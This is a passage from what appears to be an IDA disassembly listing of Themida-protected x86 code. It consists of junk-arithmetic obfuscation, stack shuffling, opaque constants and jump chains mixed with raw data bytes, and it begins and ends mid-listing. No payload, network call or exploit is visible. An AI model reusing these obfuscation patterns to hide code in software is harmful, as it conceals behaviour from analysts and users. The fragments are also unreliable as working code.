0FFh dd 34FF2434h, 1BA5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F375A: ; CODE XREF: Themida_:004FBA97j mov eax, [esp] jmp loc_4F7FC6 ; --------------------------------------------------------------------------- dw 8DE9h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F3767: ; CODE XREF: Themida_:004FA8CCj sub dword ptr [esp], 430D2B9Ah sub [esp], edi add dword ptr [esp], 430D2B9Ah add dword ptr [esp], 49BC380Dh pop edi sub edi, 53F049BEh or edi, 7150689Fh add edi, 82A78422h jmp loc_4FD7E2 ; --------------------------------------------------------------------------- aISv db ',$颳',0 db 0 ; --------------------------------------------------------------------------- loc_4F379F: ; CODE XREF: Themida_:004FE38Aj mov edx, eax jmp loc_4F9EFC ; --------------------------------------------------------------------------- dw 6604h dd 7468h, 240C8900h, 35F2E9h, 241C3300h, 0E924248Bh, 8429h dd 4C681h, 0BB530000h, 499E2516h, 0F7FFC383h, 0D4BE9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F37D6: ; CODE XREF: Themida_:004F5FFAj push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] jmp loc_4F630E ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF700h, 42474FFh, 24048F5Eh, 8B24248Bh, 89562414h dd 4C681E6h, 0E9000000h, 394Dh, 0C106E5C1h, 0ED8102E5h dd 1C3C5632h, 528FE581h, 0F5817512h, 4002428Ah, 2C8BE801h dd 4C4BE924h, 525F0000h, 4EC81h, 0C890000h, 0F7595A24h dd 31CA31D1h, 81CA31D1h, 94171CF2h, 6EAC138h, 0B850D2F7h dd 3F2319D7h, 0F7E9C209h, 81000076h, 4ECh, 48F5400h, 57515624h dd 5394BB53h, 98BF0304h, 0E9030453h, 0A82h ; --------------------------------------------------------------------------- loc_4F387C: ; CODE XREF: Themida_:004FC86Fj mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_4F7122 ; --------------------------------------------------------------------------- loc_4F3891: ; CODE XREF: Themida_:004FCA9Aj pop edi xchg esi, [esp] mov esp, [esp] push esi jmp loc_4FD74A ; --------------------------------------------------------------------------- dw 8B66h dd 83512404h, 248904ECh, 4B95124h, 1000000h, 5904244Ch dd 4EC8359h, 0BF243C89h, 4, 0D1E9F901h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F38C7: ; CODE XREF: Themida_:004F30ECj jmp loc_4F2EF4 ; --------------------------------------------------------------------------- dd 202A24B8h, 58C63120h, 67DEA81h, 0F201379Dh, 67DC281h dd 348B379Dh, 4C48324h, 4FCFE9h, 52505300h, 328EB951h dd 9DBA433Eh, 11A4D00h, 814A59CAh, 66E116C2h, 5B50E9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F390A: ; CODE XREF: Themida_:004F8C8Bj push dword ptr [edi+24h] jmp loc_4FA7E6 ; --------------------------------------------------------------------------- dw 0BF57h dd 0D7B6EDFh, 0EBE9F831h, 83000092h, 0D2F701EAh, 436CE281h dd 0F9E95D0Fh, 8700002Bh, 0E95C2434h, 4306h ; --------------------------------------------------------------------------- loc_4F3938: ; CODE XREF: Themida_:004F4877j add esi, eax mov eax, [esp] jmp loc_4FAF76 ; --------------------------------------------------------------------------- dw 17B5h aAxSjk db 'j',0 align 4 dd 2AED815Dh, 818B2B5Ch, 9B2802CDh, 0D3E94D7Dh, 0FF000026h dd 0E9592434h, 6C0Ah, 2BB768h, 24048900h, 5168E089h, 89000003h dd 0F6BA2414h, 0E93E121Ah, 79F5h ; --------------------------------------------------------------------------- loc_4F3984: ; CODE XREF: Themida_:004F69F0j mov ecx, ebx mov esi, ecx mov ecx, [esp] add esp, 4 push 5C62h mov [esp], eax mov eax, esp add eax, 4 push ebx mov ebx, 4 sub eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] jmp loc_4FDEC0 ; --------------------------------------------------------------------------- db 5Dh, 88h, 3 dd 3F65E9h, 4C38100h, 87000000h, 505C241Ch, 0C7895853h dd 0E924048Bh, 5E8Bh, 70E95057h, 87000019h, 895C243Ch dd 168240Ch, 8B000000h, 8957240Ch, 4C781E7h, 83000000h dd 348904ECh, 4176BE24h, 0BB532E40h, 5FF04A7Dh, 2694E9h dd 81DF0100h, 0F26412EFh, 241C8B65h, 4C481h, 1C8B0000h dd 4C48124h, 0E9000000h, 22F3h ; --------------------------------------------------------------------------- loc_4F3A24: ; CODE XREF: Themida_:004F5221j push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_4F92FF ; --------------------------------------------------------------------------- db 80h, 0F3h, 5Ch dd 2801C380h, 0C6E95BD8h, 81000069h, 4ECh, 48F5400h, 24048324h dd 24048B04h, 49A1E9h, 24048900h, 0B361E9h, 1BE4BA00h dd 0D2F71722h, 63BEC281h, 0D1015CB3h, 26C1815Ah, 195E082h dd 0C38359CBh, 74FF5304h, 1C8B0424h, 4C48324h, 5C24048Fh dd 0E2BD5552h, 8953070Ah, 242C8BEAh, 8104C483h, 1CA5D1EAh dd 8BD329ECh, 0C4832414h, 0A5C38104h, 0E945300Eh, 9D8Ah dd 0E904EC83h, 4A9Eh, 0D2BA4BBh, 8BDA297Fh, 0C483241Ch dd 81FA0104h, 0D2BA4C2h, 0D4E9517Fh, 81000070h, 2E54F6EAh dd 0DBEA8119h, 5616F503h, 236401BEh, 5EF2290Ah, 85B9E9h db 0 ; --------------------------------------------------------------------------- loc_4F3AF1: ; CODE XREF: Themida_:004FAAB2j push edi push 1 jmp loc_4FAE74 ; --------------------------------------------------------------------------- dd 54243C89h, 4C7815Fh, 55000000h, 0A273E9h, 0BFE95300h dd 5300000Eh, 62E9E389h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F3B1B: ; CODE XREF: Themida_:004FE2AAj add edx, ecx pop ecx add edx, 4 xchg edx, [esp] mov esp, [esp] xor ecx, 3690245Ch sub esp, 4 mov [esp], edx push edi jmp loc_4F568F ; --------------------------------------------------------------------------- db 33h dd 0C31240Ch, 240C3324h, 2D01E9h, 1BA5200h, 9000000h, 4BE91C57h dd 5E000093h, 603BE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F3B62: ; CODE XREF: Themida_:004FD9D7j push ecx push 4 mov ecx, [esp] add esp, 4 add ebp, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_4F6A66 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 35CEh, 68242C89h, 75F1h, 83242489h, 5D042404h dd 8904EC83h, 11E9243Ch db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F3B9F: ; CODE XREF: Themida_:004F6B63j xchg ebp, [esp] jmp loc_4FC83F ; --------------------------------------------------------------------------- db 1 dd 148759CAh, 8B665C24h, 54502404h, 85F7E9h, 24048700h dd 243C895Ch, 0C781E789h, 4, 636D68h, 240C8900h, 1BB1E9h dd 2C875B00h, 24248B24h, 3E8AE9h, 0ADE95800h, 0BE000054h dd 3BE32618h, 26E9DEF7h, 680000A8h, 5072h, 53242489h, 4BBh dd 7E45E900h, 74FF0000h, 61E90424h, 8B00002Bh, 0E1F62424h dd 40EE9h, 241C8900h, 241C8B5Dh, 4C481h, 0E8210000h, 8B2434FFh dd 61E9242Ch, 3100001Fh, 1C33241Ch, 4895C24h, 0F2B2E924h dd 0C180FFFFh, 0E9CF884Fh, 8DD4h, 4C181h, 5E90000h, 0BD0000ABh dd 59926428h, 2975C581h, 0F5813595h, 1FCE6767h, 4E11E9h dd 24048B00h, 4C481h, 34FF0000h, 2434FF24h, 4C4835Bh, 99BEE9h dd 0D9B45000h, 0E500ACB5h, 0FFF33AE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F3C91: ; CODE XREF: Themida_:004FD0E6j push ecx mov cl, al push eax mov al, cl mov bh, al pop eax pop ecx jmp loc_4FF0FB ; --------------------------------------------------------------------------- dd 1D46C281h, 0C2811935h, 395636B1h, 91E9FA01h, 0BA000095h dd 4DA07D28h, 5F09C281h, 814A6C69h, 781541C2h, 49C28175h dd 0E9DD4A3Bh, 0AE91h, 5053E289h, 4B8h, 58C38900h, 6CBBEA81h dd 0DA0152BFh, 6CBBC281h, 1C8B52BFh, 29EAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F3CF2: ; CODE XREF: Themida_:004FC3F8j sub edx, eax pop eax sub esi, edx pop edx add esi, 86F54C5Dh jmp loc_4F4F98 ; --------------------------------------------------------------------------- loc_4F3D03: ; CODE XREF: Themida_:004F7439j sub dl, al push dword ptr [esp] jmp loc_4FB8E7 ; --------------------------------------------------------------------------- db 66h, 53h, 83h dd 0C8904ECh, 13B75324h, 6772E9h, 24048900h, 0FE8BB353h dd 6EBC0C3h, 56B9E9h db 0 ; --------------------------------------------------------------------------- loc_4F3D2D: ; CODE XREF: Themida_:004FD588j pop esi and ebp, 58BF1283h jmp loc_4F664E ; --------------------------------------------------------------------------- db 68h, 8, 9 dd 4890000h, 1889E924h, 885A0000h, 241C8BFEh, 4C481h, 0F0300000h dd 2A98E9h, 0E9C72900h, 5C78h, 4DE9E688h, 0AD000088h, 2968D831h dd 89000028h, 0E952241Ch, 4DA5h, 0E92434FFh, 2B3Ah, 5B2434FFh dd 8F04C483h, 248B2404h, 7D816824h, 1C890000h, 50006824h dd 36E90000h, 81000003h, 2C1h, 0F6C9E900h, 0E981FFFFh dd 46AF0ABBh, 0C181D901h, 46AF0ABBh, 4E9815Bh, 87000000h dd 248B240Ch, 5DBAE924h, 34FF0000h, 2434FF24h, 4EC8358h dd 54241489h, 0EFBF575Ah, 815D6C60h, 8A0DBEE7h, 16EF8166h dd 8760D406h, 0E9DBF7DFh, 334Eh ; --------------------------------------------------------------------------- loc_4F3DF4: ; CODE XREF: Themida_:004FF13Ej mov esi, [esp] add esp, 4 dec esi not esi xor esi, 0F220A995h mov ebx, esi push dword ptr [esp] pop esi push esi push esp jmp loc_4FD2BD ; --------------------------------------------------------------------------- dd 28B6664h, 3C1568h, 24148900h, 0C281E289h, 4, 26D8E9h dd 0D5BD5500h, 0E947AB4Fh, 8C08h, 5C240C87h, 0E9240C89h dd 1972h, 0C681DEF7h, 0A12FE976h, 2AE6F681h, 0BB531B84h dd 0B3BFA3F2h, 15BDE01h, 0C2815EF2h, 2, 0FFFC4FE9h, 4EC81FFh dd 89000000h, 74FF240Ch, 8F590424h, 575C2404h, 0F68EE954h dd 0B5BDFFFFh, 31B544ECh, 0CB315DE9h, 0E9D3F759h, 54A3h dd 0E9240C8Bh, 52C7h, 1E1AC581h, 0EF2959EDh, 68D7295Dh dd 4500h, 0B8240489h, 5AFE2A3Eh, 8158C701h, 0C95E7CC7h dd 0E9C35A2Fh, 0FFFFF034h, 0FF241489h, 8B042474h, 0C4812414h dd 4, 0E924048Fh, 0AD46h, 46850h, 0E9580000h, 467Eh, 7D6BD5B8h dd 763DE921h, 31660000h, 33662414h, 31662414h, 1AE92414h dd 81000082h, 4C4h, 4C48300h, 3A0AE9h, 0C8B6600h, 2C48324h dd 47AEE9h db 0 ; --------------------------------------------------------------------------- loc_4F3F19: ; CODE XREF: Themida_:004FAF51j add edx, 4B4023A4h shr edx, 5 xor edx, 1CD3A400h push edx sub esp, 4 mov [esp], ebp jmp loc_4F567E ; --------------------------------------------------------------------------- aZsp db 'Z鯰',0 align 2 dw 515Ah dd 5E9E189h, 1000060h, 0B95158C2h, 3A8C2E31h, 2E35B850h dd 0C1313A8Ch, 28C28158h, 290B5930h, 0E5B850CAh, 2D09F801h dd 63D92A37h, 0E7873540h, 0C229AD47h, 34FFE958h, 48F0000h dd 0C2095C24h db 0D1h, 0E2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4FD14C ; --------------------------------------------------------------------------- loc_4F3F86: ; CODE XREF: Themida_:004FB865j add dword ptr [esp+4], 4DBB57D7h mov edi, [esp] jmp loc_4FD7F5 ; --------------------------------------------------------------------------- dw 0E389h dd 4C381h, 0EB810000h, 4, 5C241C87h, 0E9242C89h, 8CACh dd 0C8BCB29h, 990CE924h, 4680000h, 5F000000h, 0E95FFB89h dd 34D4h, 0F4E6C381h, 0C7E9058Ah, 5E000065h, 4EC81h, 0C890000h dd 76E95324h, 66000005h, 5724048Bh, 0FFF300E9h, 0F3B3FFh dd 0D93058C3h, 241C8B66h, 0B109E9h, 48B6600h, 5E685524h dd 89000079h, 4812424h, 424h, 0D7E95D00h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F4017: ; CODE XREF: Themida_:004FA3EEj mov eax, [esp] add esp, 4 pop dword ptr [eax] jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 66h dd 51CCB60Fh, 0A6E9E189h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F4033: ; CODE XREF: Themida_:004F9F43j mov [esp], esi mov esi, 19B8274Bh add esi, 76491AE0h neg esi and esi, 57713D97h shl esi, 7 shr esi, 4 xor esi, 0B81ECACh sub edi, 2EA84DC3h sub edi, esi add edi, 2EA84DC3h pop esi jmp loc_4F82BD ; --------------------------------------------------------------------------- db 81h, 0C5h, 0D9h dd 13A64CEh, 2CE95DE9h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F4077: ; CODE XREF: Themida_:004F681Cj add esp, 4 or ecx, 7EEF05EEh sub esp, 4 mov [esp], edx mov edx, 3A4ED6B9h sub ecx, edx mov edx, [esp] add esp, 4 sub esi, ecx pop ecx jmp loc_4FBB7C ; --------------------------------------------------------------------------- dw 505Fh dd 4569C3B8h, 7E690D53h, 1051A28h, 48000000h, 9A82C82Dh dd 58C329E9h, 0A7C1E9h, 24048F00h, 48B665Ch, 0E0895024h dd 0A3DCE9h db 0 ; --------------------------------------------------------------------------- loc_4F40CD: ; CODE XREF: Themida_:004F514Fj mov [esp], ebx jmp loc_4F5CD3 ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 24048124h, 4, 83241C8Bh, 0E95004C4h, 6F33h, 4246C29h dd 0E950515Dh, 1900h, 2434FF5Bh, 4C4815Ah, 81000000h, 2C7h dd 243C8700h, 6624248Bh, 68240C8Bh, 2254h, 0E9241489h dd 1A35h, 0FDB2E953h, 0F701FFFFh, 5E2434FFh, 8104C483h dd 2C7h, 243C3300h, 33243C31h, 665C243Ch, 6824148Bh, 0F99h dd 0E9243489h, 581Ch, 83242489h, 5B042404h, 4EC81h, 0C890000h dd 4B924h, 0CB010000h, 0A4A6E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F416E: ; CODE XREF: Themida_:004FC0D1j xor ecx, 443617D7h jmp loc_4FF12E ; --------------------------------------------------------------------------- loc_4F4179: ; CODE XREF: Themida_:loc_4F8093j shr edx, 1 cmp eax, edx jz loc_4FCEBF push ecx mov ecx, 619E58C1h shr ecx, 7 inc ecx jmp loc_4FB02B ; --------------------------------------------------------------------------- dw 0CA81h dd 609050B2h, 0F6FDEA81h, 0D189F7FAh, 0B9F1815Ah, 8143456Bh dd 566B63E1h, 5D26E92Ch, 525C0000h, 552EE9h, 1C68100h dd 0E9000000h, 16CCh, 74FF575Ah, 8F5F0424h, 3CE92404h dd 8100006Dh, 291E4BC2h, 0FAC2E905h, 0F580FFFFh, 13F5805Dh dd 0C008E5C0h, 526603EDh, 9B5DE9h db 0 ; --------------------------------------------------------------------------- loc_4F41F1: ; CODE XREF: Themida_:004F6A6Cj xchg ebp, [esp] pop esp push ecx mov ecx, 1B80588Ch sub ebx, 76DA79D2h add ebx, 45BD6D48h sub ebx, ecx sub ebx, 45BD6D48h add ebx, 76DA79D2h jmp loc_4F3204 ; --------------------------------------------------------------------------- dw 0C229h dd 783EA81h, 0B0E905A9h, 58FFFFF8h, 0E5E9F201h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F422F: ; CODE XREF: Themida_:004F7F3Ej add esp, 4 xor eax, ebp jmp loc_4FD415 ; --------------------------------------------------------------------------- loc_4F4239: ; CODE XREF: Themida_:004F51B6j add esp, 4 push 770Eh mov [esp], edi push esi jmp loc_4FAB84 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0E4E90000h, 2800006Bh, 0E99C2404h, 0FFFFEC90h dd 86D3F658h, 80D1F6D9h, 2B04E5C1h, 80B652h, 29AE9F0h dd 96B90000h, 311EDA5Ah, 56495AD1h, 74E7BB53h, 53551FF5h dd 0EF243481h, 5D25234Fh, 4FEFF581h, 0EE892523h, 0A2E95B5Dh dd 0C1000050h, 0C18106E9h, 0FFA03F56h, 38E9CE89h, 100003Eh dd 0A9C381FBh, 8B64B227h, 2434FF03h, 5B2434FFh, 8A44E9h dd 42A56800h, 0F8E90000h, 8B000080h, 0C4832434h, 24148704h dd 6624248Bh, 55240C8Bh, 8E3DE9h, 24348900h, 42474FFh dd 8324348Bh, 48F04C4h, 51D0E924h, 0DF290000h, 0E9F9895Bh dd 1F63h, 2434FF5Eh, 9A5E9h db 0 ; --------------------------------------------------------------------------- loc_4F4311: ; CODE XREF: Themida_:004FCABFj mov ebx, esp jmp loc_4F8AFA ; --------------------------------------------------------------------------- dd 803DB652h, 0B3E9F2F6h, 100008Bh, 0AED4E9CDh, 0DAB10000h dd 53B2C180h, 0F82889B7h, 1053685Bh, 1C890000h, 0FE45B724h dd 0B3C780CFh, 49A3E9h, 0EC815300h, 4, 2AA7E9h, 240CFF00h dd 10CCE95Eh, 0B35B0000h, 0B7EB805Ch, 0EC81C300h, 4, 0E9241489h dd 34E9h, 5756E789h, 8A4FE9h db 0 ; --------------------------------------------------------------------------- loc_4F437D: ; CODE XREF: Themida_:004FAB1Dj pop esp push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_4F9394 ; --------------------------------------------------------------------------- db 28h dd 0EB805AF3h, 80C30016h, 815016C3h, 4ECh, 776CE900h, 68B80000h dd 0E9093A2Ah, 252Eh, 4BFh, 8BFD0100h, 8953243Ch, 4C381E3h dd 55000000h, 4BDh, 5DEB0100h, 0E9241C87h, 5AEDh, 815FFD01h dd 4ECh, 243C8900h, 0A767B3BFh, 0B8B9512Eh, 9208E52h, 0D14F59CFh dd 5EFC1EFh, 1EBE9h db 0 ; --------------------------------------------------------------------------- loc_4F43F9: ; CODE XREF: Themida_:004FD7E5j mov ebp, ebx jmp loc_4F7F43 ; --------------------------------------------------------------------------- dd 5624048Bh, 0C681E689h, 4, 8704C683h, 565C2434h, 0FFF7CEE9h dd 3061B2FFh, 0C8285AD1h, 19F8E959h, 0E9580000h, 16E1h ; --------------------------------------------------------------------------- loc_4F442C: ; CODE XREF: Themida_:004F5259j add ebp, 2D0369AFh sub ebp, 7B7C5DB2h add ebp, eax jmp loc_4FE9FC ; --------------------------------------------------------------------------- db 5 dd 0D4209413h, 158C389h, 8F2BE9DFh, 0C4830000h, 0E9C70904h dd 0FFFFF1E0h, 4B30F66h, 91E99C24h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F4463: ; CODE XREF: Themida_:004F6E83j mov dl, 14h shr dl, 5 inc dl add dl, 8Bh add ch, dl pop edx jmp loc_4F5CEE ; --------------------------------------------------------------------------- db 5Eh, 0C1h, 0E2h dd 0FFB95106h, 21322264h, 0ECDAE9CAh, 0ED81FFFFh, 753E91E2h dd 0F75DE931h, 6F0F68D9h, 1C890000h, 717CBB24h, 0EBC12A01h dd 0F7534B04h, 815B2414h, 0E5430FEBh, 5BD9310Eh, 4960EF81h dd 0C7810AA0h, 122244CCh, 60E9CF01h, 0FE00003Bh, 8D0DE9C5h dd 34330000h, 8E20E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F44D2: ; CODE XREF: Themida_:004F61F2j shl esi, 3 push ecx mov ecx, 79012B4Bh or esi, ecx pop ecx push ebp mov ebp, 600F63A6h and ebp, 7DE169C1h jmp loc_4FD5EC ; --------------------------------------------------------------------------- aIrsQ db 'q',0 align 2 dw 0E381h dd 6D2452B8h, 61E8C381h, 0D821761Ah, 5DB1255Bh, 0DB0D019Fh dd 0E95C560Fh, 0AD69h, 2CC8285Ah, 592B2C80h, 1EDDE9h, 0E7EB8100h dd 29B661DAh, 241C8BDEh, 4C481h, 34870000h, 24248B24h dd 58240489h, 0FFE9B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F4541: ; CODE XREF: Themida_:004FC840j sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax jmp loc_4F2EF4 ; --------------------------------------------------------------------------- aMytSkv db 'y]銂',0 dw 8100h dd 4C2h, 7AE95100h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F456F: ; CODE XREF: Themida_:004FA76Bj xor edi, 4A187256h or edi, 2ABF02C7h shr edi, 5 xor edi, 3D5F892h add ebp, edi pop edi add ebp, 2 push ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] pop esp jmp loc_4F893A ; --------------------------------------------------------------------------- dw 0C083h dd 24048704h, 0FFF8895Ch, 3C8B2434h, 60E5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F45B6: ; CODE XREF: Themida_:004FF421j pop edx mov eax, [esp] add esp, 4 push 686Bh mov [esp], ebp mov ebp, 6C677CBDh jmp loc_4F6F7A ; --------------------------------------------------------------------------- db 89h dd 631AE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F45D6: ; CODE XREF: Themida_:004F62DCj shr esi, 5 or esi, 6BA61A9Fh jmp loc_4F5E50 ; --------------------------------------------------------------------------- dd 4226C781h, 0FD01FF45h, 5F2434FFh, 8704C483h, 83E9242Ch db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F45FB: ; CODE XREF: Themida_:004F510Cj xor ecx, edi pop edi push esi mov esi, 6F41053Fh inc esi jmp loc_4F5C05 ; --------------------------------------------------------------------------- dw 8F5Bh dd 248B2404h, 242CD324h, 8239E99Ch, 0D7010000h, 6E38E9h dd 243C8B00h, 7167E9h, 24348B00h, 4C481h, 0C2D0000h, 2D52D674h dd 74F224CAh, 7C3B6605h, 0A3E9E91Dh, 0E95F0000h, 5E5h dd 2B951h, 65E90000h, 81000011h, 4ECh, 24148900h, 45BEE9h dd 0C3EE8100h, 813A1965h, 55C50F6h, 0A59BE928h, 44810000h dd 27A10424h, 0FF5A1D37h, 48B2434h, 59545124h, 4C181h dd 0C1830000h, 33E95104h, 89000009h, 34FF59CAh, 0C4835D24h dd 874FE904h, 0D7870000h, 0D787DAF7h, 0C6BE9h, 0E58100h dd 4D1B3053h, 3D61C581h, 0EA2961B1h, 56C2015Dh, 6E1DAFBEh dd 2E6C113h, 603CE9h, 10DE6800h, 3C890000h, 2BF24h, 0E9810000h dd 783C65C4h, 0C181F901h, 783C65C4h, 4EC835Fh, 0FF240C89h dd 59042474h, 0E924048Fh, 184Ch, 8124148Bh, 4C4h, 5C28100h dd 8990CEBBh, 7A6FE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F4716: ; CODE XREF: Themida_:004FB750j add esp, 4 xor ebp, 7C7E3F2Fh sub ebp, 495C7346h shl ebp, 5 xor ebp, 64003CA1h mov edx, ebp pop ebp and eax, edx mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 1A91h jmp loc_4FD9BC ; --------------------------------------------------------------------------- db 5Bh dd 348BF501h, 97CBE924h, 34FF0000h, 89515924h, 0FBBF57E1h dd 813A9843h, 9843F7EFh, 5FF9013Ah, 509DE9h, 65E38100h dd 4B20375Eh, 0FFF247E9h db 0FFh ; --------------------------------------------------------------------------- loc_4F4789: ; CODE XREF: Themida_:004FBD46j add esp, 4 shl ecx, 4 sub ecx, 40E297FCh jmp loc_4FA245 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 280ECABEh, 3979E902h, 0F1800000h, 0E9CB0054h, 0D34h ; --------------------------------------------------------------------------- loc_4F47B4: ; CODE XREF: Themida_:004F64FCj mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_4FBBF4 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Dh, 259BE95Ch, 1C870000h, 1954E924h dd 0C3290000h, 0A85AE9h, 24148B00h, 47AEE9h, 4BD5500h dd 29000000h, 1C335DEBh, 4047E924h, 8B660000h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4FCCA9 ; --------------------------------------------------------------------------- dw 0E5C1h dd 0FFC58305h, 781BF581h, 0EA8983AEh, 3B8E9h, 28CEB100h dd 0E95966C8h, 21BBh, 0C03E949h, 89570000h, 4C781E7h, 83000000h dd 3C8704EFh, 1C895C24h, 55E38924h, 0FFF40EE9h db 0FFh ; --------------------------------------------------------------------------- loc_4F4849: ; CODE XREF: Themida_:004FE6D6j shr ebx, 6 push 446Ch mov [esp], esi jmp loc_4FCA00 ; --------------------------------------------------------------------------- loc_4F4859: ; CODE XREF: Themida_:004FE49Aj xor ecx, 2FDE5B7Fh add edx, ecx mov ecx, [esp] add esp, 4 and eax, edx pop edx jmp loc_4FBA89 ; --------------------------------------------------------------------------- loc_4F4872: ; CODE XREF: Themida_:004F4A1Cj sub eax, 5DB7541Dh jmp loc_4F3938 ; --------------------------------------------------------------------------- dd 50241C89h, 8904EC83h, 91E9242Ch db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F488B: ; CODE XREF: Themida_:004FD093j push edi jmp loc_4FCA28 ; --------------------------------------------------------------------------- db 80h, 0F5h, 67h dd 98B8E9h, 4B800h, 0C5290000h, 8324048Bh, 2C8704C4h, 24248B24h dd 0BB241C89h, 80h, 1885E9h, 0A5B25200h, 804AC280h, 0ABE99EF2h dd 54000004h, 8655E9h, 0B3BE5600h, 89655812h, 0D6895EF2h dd 2474295Ah, 2C815E04h, 0EA5F6124h, 2404290Ah, 61240481h dd 810AEA5Fh, 12B32404h, 51566558h, 0EA3BE56h, 81562C3Ch dd 0E232404h, 5359074Fh, 7733E9h, 4BF5700h, 1000000h, 2434FFF8h dd 619AE9h, 69E18100h, 0F703293Eh, 6654E9D1h, 0F1800000h dd 5890E948h, 0C3010000h, 0FD12E958h, 8158FFFFh, 1642D6C1h dd 55F9017Bh, 0AD1CE4BDh, 3D4CE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F494E: ; CODE XREF: Themida_:004FB54Ej push edx mov edx, 757C7D09h jmp loc_4FA77A ; --------------------------------------------------------------------------- loc_4F4959: ; CODE XREF: Themida_:004F7A13j add eax, ebp pop ebp sub [esp+4], eax jmp loc_4F36E4 ; --------------------------------------------------------------------------- db 80h, 0C6h, 0CEh dd 0CCE9F300h, 80000096h, 0EB8070F2h, 80D300D9h, 34FFD9C3h dd 0A3E1E924h, 0C890000h, 0C8B5424h, 4C48324h, 4C181h dd 0E3E90000h, 5300005Bh, 0CFFE2CB7h, 0C780D7F6h, 55F780BBh dd 0E95BF800h, 0FFFFEDFAh, 24048B66h, 3E4E68h, 240C8900h dd 0C181E189h, 4, 4EC8355h, 68241C89h, 321C6E04h, 913EE95Bh dd 0B8500000h, 1F5C0758h, 5C075CBBh, 58C3311Fh, 47EDE9h dd 0F7DF8700h, 173CE9D3h, 0BE560000h, 7760FE1h, 0BD55D6F7h dd 3FD731B4h, 589DE9h db 0 ; --------------------------------------------------------------------------- loc_4F4A01: ; CODE XREF: Themida_:004FE3FDj add [esp+4], edx push eax mov eax, 76E2365Ah sub [esp+8], eax pop eax mov edx, [esp] add esp, 4 jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4F4A1B: ; CODE XREF: Themida_:004F5E5Fj inc eax jmp loc_4F4872 ; --------------------------------------------------------------------------- db 87h, 0FAh, 0F7h aStv db 't',0 align 2 dw 8B66h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 70450EF0h jmp loc_4F5947 ; --------------------------------------------------------------------------- dd 66E9535Fh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4F4A43: ; CODE XREF: Themida_:004F8695j and eax, 2B3E24FBh and eax, 25B10CF5h xor eax, 6EEB6699h mov ecx, eax pop eax and ecx, 68B619A5h shl ecx, 3 shr ecx, 5 and ecx, 12CC4653h neg ecx jmp loc_4FD5CE ; --------------------------------------------------------------------------- dw 0EF88h dd 66F83059h, 53241C8Bh, 6FE9E389h, 66000046h, 5524048Bh dd 242C8B54h, 81E18951h, 4C1h, 4C18300h, 0FFF0A6E9h, 4C483FFh dd 0BD685051h, 58595A29h, 0CC31C735h, 2DD8F738h, 41E2771h dd 9FE4E9h db 0 ; --------------------------------------------------------------------------- loc_4F4AB5: ; CODE XREF: Themida_:004FD037j mov edi, 7C664D21h sub ecx, edi pop edi add ecx, esi add ecx, 7C664D21h pop esi jmp loc_4FC759 ; --------------------------------------------------------------------------- db 8Fh dd 665C2404h, 9C243CD3h, 0FFE41BE9h, 946858FFh, 0E900001Bh dd 49AAh, 0EE775F0Dh, 7E0FE90Ah, 8B660000h, 89562404h dd 4C681E6h, 83000000h, 348704EEh, 3C895C24h, 4EC8324h dd 81242489h, 42404h, 0DAE90000h, 0BE000071h, 4, 58A6E9h dd 240C8900h, 0F180EAB1h, 0FFC80037h, 8CE92434h, 8300009Ch dd 143304C4h, 2EDAE924h, 97680000h, 89000015h, 0F1B1240Ch dd 8001E980h, 0B05025E1h, 6134E9EFh, 0FF660000h, 0E99C2404h dd 0FFFFE394h, 9D1C77FFh, 14D35966h, 85E99C24h, 51FFFFE3h dd 0ED80AFB5h, 8E5C097h, 0CD80DDF6h, 80CDFE2Fh, 0EF881BEDh dd 0F2E95259h, 3500009Eh, 1A61055h, 52DD2540h, 20E91440h dd 50000097h, 